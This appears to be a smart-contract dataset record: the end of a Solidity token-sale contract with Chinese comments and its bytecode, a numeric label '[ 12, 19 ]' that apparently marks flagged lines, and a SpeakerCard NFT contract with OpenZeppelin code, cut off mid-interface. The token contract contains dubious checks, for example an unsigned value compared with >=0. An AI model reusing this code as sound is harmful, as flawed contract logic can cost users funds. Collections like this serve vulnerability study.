//设置代币价格(Wei) function setCoinPrice(uint256 newPriceInWei) public returns(uint256 oldPriceInWei){ require(msg.sender==owner); uint256 _old=coinPriceInWei; coinPriceInWei=newPriceInWei; return _old; } function balanceInWei() public constant returns(uint256 nowBalanceInWei){ return address(this).balance; } function changeRecvEthStatus(bool _canRecvEthDirect) public{ if(msg.sender!=owner){ revert(); return; } canRecvEthDirect=_canRecvEthDirect; } // //回退函数 //合约账户收到eth时会被调用 //任何异常时,这个函数也会被调用 //若有零头不找零,避免被DDOS攻击 function () public payable { if(canRecvEthDirect){ return; } if(ethPlanList[msg.sender].isValid==true && msg.value>=ethPlanList[msg.sender].ethNum && ethPlanList[msg.sender].coinNum>=0 && ethPlanList[msg.sender].coinNum<=balances[owner]){ ethPlanList[msg.sender].isValid=false; balances[owner] -= ethPlanList[msg.sender].coinNum;//从消息发送者账户中减去token数量_value balances[msg.sender] += ethPlanList[msg.sender].coinNum;//往接收账户增加token数量_value emit Transfer(this, msg.sender, ethPlanList[msg.sender].coinNum);//触发转币交易事件 }else if(!ethPlanList[msg.sender].isValid && coinPriceInWei>0 && msg.value/coinPriceInWei<=balances[owner] && msg.value/coinPriceInWei+balances[msg.sender]>balances[msg.sender]){ uint256 buyCount=msg.value/coinPriceInWei; balances[owner] -=buyCount; balances[msg.sender] +=buyCount; emit Transfer(this, msg.sender, buyCount);//触发转币交易事件 }else{ revert(); } } }
0x6080604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146103f1578063095ea7b31461047b57806318160ddd146104b357806323b872dd146104da57806327e235e3146105045780632d247cc6146105255780632dab3e7a1461053a578063313ce5671461056557806338a52fb11461059057806338d67d88146105bc57806348b15166146106535780634953b57d14610668578063550b47b81461067d5780635bacef19146106955780635c658165146106d45780635f4b019d146106fb578063644a9db81461071c57806369e2c9271461073657806370a082311461074b57806375a6dbda1461076c57806376d865dd1461078d5780637dfca4e514610832578063891c738a146108735780638da5cb5b1461088857806395d89b41146108b9578063a5bab6de146108ce578063a6f9dae11461092f578063a9059cbb14610950578063b5f81fb314610974578063c38bb537146109ae578063ca5454db146109c8578063db2307b6146109ef578063dd62ed3e14610a09578063e2d5606014610a30578063ee560b1614610a45578063eece203a14610b4f578063f9c1a19714610b67578063f9d5e08b14610b7e575b60075460009060ff16156101ea576103ee565b336000908152600a602052604090206002015460ff16151560011480156102205750336000908152600a60205260409020543410155b801561023d5750336000908152600a602052604081206001015410155b80156102745750600454600160a060020a0316600090815260056020908152604080832054338452600a9092529091206001015411155b156102f357336000818152600a6020818152604080842060028101805460ff191690556001018054600454600160a060020a03168652600584528286208054919091039055858552805494829020805490950190945591815291548151908152905130926000805160206124b0833981519152928290030190a36103ee565b336000908152600a602052604090206002015460ff1615801561031857506000600854115b801561034b5750600454600160a060020a03166000908152600560205260409020546008543481151561034757fe5b0411155b801561037557503360009081526005602052604090205460085481903481151561037157fe5b0401115b156103e9576008543481151561038757fe5b600454600160a060020a0316600090815260056020908152604080832080549590940494859003909355338083529183902080548501905582518481529251939450909230926000805160206124b083398151915292908290030190a36103ee565b600080fd5b50005b3480156103fd57600080fd5b50610406610bac565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610440578181015183820152602001610428565b50505050905090810190601f16801561046d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048757600080fd5b5061049f600160a060020a0360043516602435610c39565b604080519115158252519081900360200190f35b3480156104bf57600080fd5b506104c8610cc6565b60408051918252519081900360200190f35b3480156104e657600080fd5b5061049f600160a060020a0360043581169060243516604435610ccc565b34801561051057600080fd5b506104c8600160a060020a0360043516610f39565b34801561053157600080fd5b506104c8610f4b565b34801561054657600080fd5b50610563600160a060020a03600435166024356044351515610f51565b005b34801561057157600080fd5b5061057a610fd8565b6040805160ff9092168252519081900360200190f35b34801561059c57600080fd5b50610563600160a060020a03600435166024356044356064351515610fe1565b3480156105c857600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261056394369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506110a19650505050505050565b34801561065f57600080fd5b506104c86110fb565b34801561067457600080fd5b5061049f611101565b34801561068957600080fd5b506104c860043561110a565b3480156106a157600080fd5b506106b6600160a060020a0360043516611132565b6040805192835263ffffffff90911660208301528051918290030190f35b3480156106e057600080fd5b506104c8600160a060020a0360043581169060243516611151565b34801561070757600080fd5b506106b6600160a060020a036004351661116e565b610563600435600160a060020a036024351660443561118d565b34801561074257600080fd5b5061049f6113dd565b34801561075757600080fd5b506104c8600160a060020a03600435166113e6565b34801561077857600080fd5b50610563600160a060020a0360043516611401565b34801561079957600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610563958335600160a060020a031695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061171a9650505050505050565b34801561083e57600080fd5b50610853600160a060020a0360043516611bac565b604080519384526020840192909252151582820152519081900360600190f35b34801561087f57600080fd5b5061049f611bd0565b34801561089457600080fd5b5061089d611bd9565b60408051600160a060020a039092168252519081900360200190f35b3480156108c557600080fd5b50610406611be8565b3480156108da57600080fd5b506108e6600435611c43565b6040805163ffffffff97881681526020810196909652600160a060020a03948516868201529290931660608501529093166080830152151560a082015290519081900360c00190f35b34801561093b57600080fd5b50610563600160a060020a0360043516611cad565b34801561095c57600080fd5b5061049f600160a060020a0360043516602435611d74565b34801561098057600080fd5b50610995600160a060020a0360043516611f64565b6040805192835290151560208301528051918290030190f35b3480156109ba57600080fd5b506105636004351515611f80565b3480156109d457600080fd5b50610563600435602435600160a060020a0360443516611fc8565b3480156109fb57600080fd5b506105636004351515612148565b348015610a1557600080fd5b506104c8600160a060020a0360043581169060243516612172565b348015610a3c57600080fd5b506104c861219d565b348015610a5157600080fd5b50610a66600160a060020a03600435166121a3565b60405180841515151581526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610ab1578181015183820152602001610a99565b50505050905090810190601f168015610ade5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b83811015610b11578181015183820152602001610af9565b50505050905090810190601f168015610b3e5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b348015610b5b57600080fd5b506105636004356122e3565b610563600160a060020a0360043516602435612391565b348015610b8a57600080fd5b50610b936123ef565b6040805163ffffffff9092168252519081900360200190f35b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c315780601f10610c0657610100808354040283529160200191610c31565b820191906000526020600020905b815481529060010190602001808311610c1457829003601f168201915b505050505081565b600033600160a060020a03841614801590610c545750600082115b1515610c5f57600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b600c5460009060ff1615610d195782600160a060020a031684600160a060020a03166000805160206124b083398151915260006040518082815260200191505060405180910390a3600080fd5b600160a060020a038316301415610d695782600160a060020a031684600160a060020a03166000805160206124b083398151915260006040518082815260200191505060405180910390a3600080fd5b600160a060020a038416600090815260056020526040902054821180610db15750600160a060020a038416600090815260066020908152604080832033845290915290205482115b15610df55782600160a060020a031684600160a060020a03166000805160206124b083398151915260006040518082815260200191505060405180910390a3600080fd5b600160a060020a03841660009081526009602052604090206001015460ff168015610e375750600160a060020a03841660009081526009602052604090205482115b15610e7b5782600160a060020a031684600160a060020a03166000805160206124b083398151915260006040518082815260200191505060405180910390a3600080fd5b600160a060020a0380841660009081526005602090815260408083208054870190559287168083528383208054879003905560068252838320338452825283832080548790039055825260099052206001015460ff1615610ef657600160a060020a0384166000908152600960205260409020805483900390555b82600160a060020a031684600160a060020a03166000805160206124b0833981519152846040518082815260200191505060405180910390a35060019392505050565b60056020526000908152604090205481565b60085481565b600454600160a060020a03163314801590610f7c5750336000908152600d602052604090205460ff16155b15610f8657600080fd5b600160a060020a0383166000908152600960205260409020600101805460ff1916821515179081905560ff1615610fd357600160a060020a03831660009081526009602052604090208290555b505050565b60025460ff1681565b600454600160a060020a031633148015610ffc575060008310155b8015611009575060008210155b801561101757506000828401115b801561103d5750600454600160a060020a03166000908152600560205260409020548211155b151561104857600080fd5b600160a060020a0384166000908152600a60205260409020600201805460ff1916821515179081905560ff161561109b57600160a060020a0384166000908152600a602052604090208381556001018290555b50505050565b600454600160a060020a03163314806110c95750336000908152600d602052604090205460ff165b15156110d457600080fd5b81516110e7906001906020850190612400565b508051610fd3906003906020840190612400565b600b5481565b600e5460ff1681565b6004546000908190600160a060020a0316331461112657600080fd5b50506008805491905590565b6010602052600090815260409020805460029091015463ffffffff1682565b600660209081526000928352604080842090915290825290205481565b6011602052600090815260409020805460029091015463ffffffff1682565b32331461119957600080fd5b6000838152600f602052604090206004015460a060020a900463ffffffff1663075bcd151480156111f757506000838152600f60205260409020600401547801000000000000000000000000000000000000000000000000900460ff165b801561121357506000838152600f602052604090206002015481145b801561123b57506000838152600f6020526040902060030154600160a060020a038381169116145b80156112565750336000908152600d602052604090205460ff165b801561128157506000838152600f6020908152604080832033845290915290205460ff161515600114155b801561129c5750600e54600261010090910463ffffffff1610155b15156112a757600080fd5b6000838152600f60208181526040808420338552808352908420805460ff19166001908117909155938790529190528101805463ffffffff808216909301831663ffffffff199091161790819055600e546002610100909104831604821691161161131157610fd3565b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015611347573d6000803e3d6000fd5b506000838152600f6020908152604091829020600401805478ffffffffff00000000000000000000000000000000000000001916773ade68b100000000000000000000000000000000000000001790558151600160a060020a038516815290810183905281517f1a72b00f1ee31ed92d8c1281ff296cf8a637779a848fc0526b065e5c47a55341929181900390910190a1505050565b60075460ff1681565b600160a060020a031660009081526005602052604090205490565b61140961247e565b33321461141557600080fd5b336000908152600d602052604090205460ff161580156114405750600454600160a060020a03163314155b1561144a57600080fd5b600160a060020a0382166000908152600d602052604090205460ff16151561147157600080fd5b600e54600461010090910463ffffffff16101561148d57600080fd5b600e546101009004600116156114a257600080fd5b600160a060020a0382163314156114b857600080fd5b600454600160a060020a031633141561154257600160a060020a03821660009081526011602052604090205463075bcd1514156114f457600080fd5b63075bcd15815260006020808301828152600160a060020a0385168352601190915260409091208251815590516002909101805463ffffffff191663ffffffff909216919091179055611716565b600160a060020a03821660009081526011602052604090205463075bcd151461156a57600080fd5b600160a060020a038216600090815260116020908152604080832033845260010190915290205463075bcd1514156115a157600080fd5b600160a060020a03821660008181526011602081815260408084206002808201805463ffffffff198116600163ffffffff92831681018316919091178355338952909301855292862063075bcd159055600e54969095529290915254610100909304811691909104811691161161161757611716565b600160a060020a0382166000908152600d60205260409020805460ff19169055600e54600161010090910463ffffffff161061167557600e805460001963ffffffff610100808404821692909201160264ffffffff00199091161790555b600e54600161010090910463ffffffff161161169657600e805460ff191690555b600160a060020a038216600081815260116020908152604080832085518155858301516002909101805463ffffffff191663ffffffff9092169190911790558051938452339184019190915282810191909152517fe5b44eec90f5ef97b35a5b4bbd094bb2cb8c610183683dcf109b83c20519cd7f916060908290030190a15b5050565b61172261247e565b33321461172e57600080fd5b336000908152600d602052604090205460ff161580156117595750600454600160a060020a03163314155b1561176357600080fd5b600454600160a060020a038581169116141561177e57600080fd5b600160a060020a0384166000908152600d602052604090205460ff16156117a457600080fd5b600160a060020a0384163314156117ba57600080fd5b600e54600261010090910463ffffffff1610156118e757600454600160a060020a031633146117e857600080fd5b600160a060020a0384166000908152600d60209081526040909120805460ff1916600190811782558551611823939290910191860190612400565b50600160a060020a0384166000908152600d60209081526040909120835161185392600290920191850190612400565b50600e805463ffffffff61010080830482166001018216810264ffffffff001990931692909217928390556002919092049091161061189a57600e805460ff191660011790555b60408051600160a060020a038616815233602082015260018183015290517fe5b44eec90f5ef97b35a5b4bbd094bb2cb8c610183683dcf109b83c20519cd7f9181900360600190a161109b565b600454600160a060020a031633141561197157600160a060020a03841660009081526010602052604090205463075bcd15141561192357600080fd5b63075bcd15815260006020808301828152600160a060020a0387168352601090915260409091208251815590516002909101805463ffffffff191663ffffffff90921691909117905561109b565b336000908152600d602052604090205460ff16156103e957600160a060020a03841660009081526010602052604090205463075bcd15146119b157600080fd5b600160a060020a038416600090815260106020908152604080832033845260010190915290205463075bcd1514156119e857600080fd5b600160a060020a03841660009081526010602090815260408083206002808201805463ffffffff198116600163ffffffff92831681018316919091179092553387529201909352922063075bcd159055600e54610100900490911610801590611a885750600e54600290610100900463ffffffff16600160a060020a03861660009081526010602052604090206002015463ffffffff9290910482169116115b15611ba757600160a060020a0384166000908152600d602090815260409091208451611abc92600190920191860190612400565b50600160a060020a0384166000908152600d602090815260409091208351611aec92600290920191850190612400565b50600160a060020a0384166000818152600d602090815260408083208054600160ff199091168117909155601083529281902085518155858301516002909101805463ffffffff191663ffffffff928316179055600e805464ffffffff001981166101009182900484168701909316029190911790558051938452339184019190915282810191909152517fe5b44eec90f5ef97b35a5b4bbd094bb2cb8c610183683dcf109b83c20519cd7f916060908290030190a161109b565b61109b565b600a6020526000908152604090208054600182015460029092015490919060ff1683565b600c5460ff1681565b600454600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c315780601f10610c0657610100808354040283529160200191610c31565b600f60205260009081526040902060018101546002820154600383015460049093015463ffffffff928316939192600160a060020a039283169282169160a060020a8104909116907801000000000000000000000000000000000000000000000000900460ff1686565b600454600160a060020a031633148015611cd0575033600160a060020a03821614155b1515611cdb57600080fd5b60048054600160a060020a0390811660009081526005602090815260408083205486851680855282852091909155855485168452818420849055855473ffffffffffffffffffffffffffffffffffffffff191681179586905594909316825290829020548251908152915133927f62a581a6c90dde007755de7aec88a3beee16e9a847470d0fb62fef2497126dc992908290030190a350565b600c5460009060ff1615611db65760408051600081529051600160a060020a0385169133916000805160206124b08339815191529181900360200190a3600080fd5b600160a060020a038316301415611dfb5760408051600081529051600160a060020a0385169133916000805160206124b08339815191529181900360200190a3600080fd5b33600090815260056020526040902054821180611e325750600160a060020a03831660009081526005602052604090205482810111155b15611e6b5760408051600081529051600160a060020a0385169133916000805160206124b08339815191529181900360200190a3600080fd5b3360009081526009602052604090206001015460ff168015611e9b57503360009081526009602052604090205482115b15611ed45760408051600081529051600160a060020a0385169133916000805160206124b08339815191529181900360200190a3600080fd5b33600081815260056020908152604080832080548790039055600160a060020a038716835280832080548701905592825260099052206001015460ff1615611f2d57336000908152600960205260409020805483900390555b604080518381529051600160a060020a0385169133916000805160206124b08339815191529181900360200190a350600192915050565b6009602052600090815260409020805460019091015460ff1682565b600454600160a060020a03163314801590611fab5750336000908152600d602052604090205460ff16155b15611fb557600080fd5b600c805482151560ff1990911617905550565b333214611fd457600080fd5b336000908152600d602052604090205460ff16801561201557506000838152600f602052604090206004015460a060020a900463ffffffff1663075bcd1514155b801561204357506000838152600f602052604090206004015460a060020a900463ffffffff16633ade68b114155b151561204e57600080fd5b6000838152600f60208181526040808420600481018054600283019890985560038201805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a039990991698909817905578010000000000000000000000000000000000000000000000003377ffffffff00000000000000000000000000000000000000001990991677075bcd15000000000000000000000000000000000000000017909716881778ff000000000000000000000000000000000000000000000000191696909617909555948352838152938220805460ff19166001908117909155949091529091528101805463ffffffff19169091179055565b600454600160a060020a0316331461215f57600080fd5b6007805482151560ff1990911617905550565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b30315b90565b600d602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f810186900486028301860190965285825260ff9092169492939092908301828280156122475780601f1061221c57610100808354040283529160200191612247565b820191906000526020600020905b81548152906001019060200180831161222a57829003601f168201915b50505060028085018054604080516020601f60001961010060018716150201909416959095049283018590048502810185019091528181529596959450909250908301828280156122d95780601f106122ae576101008083540402835291602001916122d9565b820191906000526020600020905b8154815290600101906020018083116122bc57829003601f168201915b5050505050905083565b3332146122ef57600080fd5b6000818152600f6020526040902060040154600160a060020a03163314801561233957506000818152600f602052604090206004015460a060020a900463ffffffff1663075bcd15145b151561234457600080fd5b6000908152600f60205260409020600401805478ffffffffff00000000000000000000000000000000000000001916773ade68b10000000000000000000000000000000000000000179055565b600454600160a060020a0316331480156123ae5750600e5460ff16155b15156123b957600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610fd3573d6000803e3d6000fd5b600e54610100900463ffffffff1681565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061244157805160ff191683800117855561246e565b8280016001018555821561246e579182015b8281111561246e578251825591602001919060010190612453565b5061247a929150612495565b5090565b604080518082019091526000808252602082015290565b6121a091905b8082111561247a576000815560010161249b5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202d7a6cedffd065909a6a4fb6cd876f84d74d65dfa4758e3453798f39ca4d9fe90029
[ 12, 19 ]
0xF2529886d9664a757EDF5b77D113eF9049Ff6150
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./utils/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract SpeakerCard is ERC721, Ownable { using Address for address payable; using Strings for uint256; //0 = drop and sell phase, 1 = final status uint256 public currentPhase; //current minted supply uint256 public totalSupply; //pbws address address public pbwsAddress; //metadatas string public baseURI; mapping(uint256 => uint256) private prices; constructor(address _pbwsAddress) ERC721("Paris NFT Day Speaker Cards", "PND SC") { pbwsAddress = _pbwsAddress; } function dropCards(address speakerAddress, address teamAddress) external onlyOwner { require(currentPhase==0, "the contract status doesn't allow this"); require(_balances[speakerAddress]==0, "speaker already dropped"); _mintSpeaker(speakerAddress); _mintTeam(teamAddress); _mintPbws(); } function setPrice(uint256 tokenId, uint256 price) external onlyOwner { require(currentPhase==0, "the contract status doesn't allow this"); prices[tokenId] = price; } function retrieveFunds(address fundsAddress) external onlyOwner { payable(fundsAddress).sendValue(address(this).balance); } function getPrice(uint256 tokenId) public view returns(uint256) { if(tokenId % 11 != 0){ return 0; } return prices[tokenId]; } function buySpeakerCard(uint256 tokenId) external payable { require(currentPhase==0, "the contract status doesn't allow this"); require(tokenId % 11 == 0, "given tokenId is not a speaker card"); require(prices[tokenId]!=0,"this speaker card is not for sale or has already been sold"); require(msg.value == prices[tokenId], "wei amount doesn't match with card price"); address payable speakerAddress = payable(_owners[tokenId]); address to = msg.sender; _balances[speakerAddress]--; _balances[to]++; _owners[tokenId] = to; delete prices[tokenId]; speakerAddress.sendValue((msg.value * 9000)/10000); emit Transfer(speakerAddress, to, tokenId); } function activateFinalPhase() public onlyOwner { require(currentPhase==0, "the contract status doesn't allow this"); currentPhase=1; } function setBaseURI(string memory uri) external onlyOwner { baseURI = uri; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); // Concatenate the baseURI and the tokenId as the tokenId should // just be appended at the end to access the token metadata return string(abi.encodePacked(baseURI, tokenId.toString(), ".json")); } function _mintSpeaker(address speakerAddress) private { _owners[totalSupply] = speakerAddress; _balances[speakerAddress]++; emit Transfer(address(0), speakerAddress, totalSupply++); } function _mintTeam(address teamAddress) private { for(uint i = 0; i < 8; i++){ _owners[totalSupply] = teamAddress; emit Transfer(address(0), teamAddress, totalSupply++); } _balances[teamAddress] = _balances[teamAddress] + 8; } function _mintPbws() private { for(uint i = 0; i < 2; i++){ _owners[totalSupply] = pbwsAddress; emit Transfer(address(0), pbwsAddress, totalSupply++); } _balances[pbwsAddress] = _balances[pbwsAddress] + 2; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) internal _owners; // Mapping owner address to token count mapping(address => uint256) internal _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when 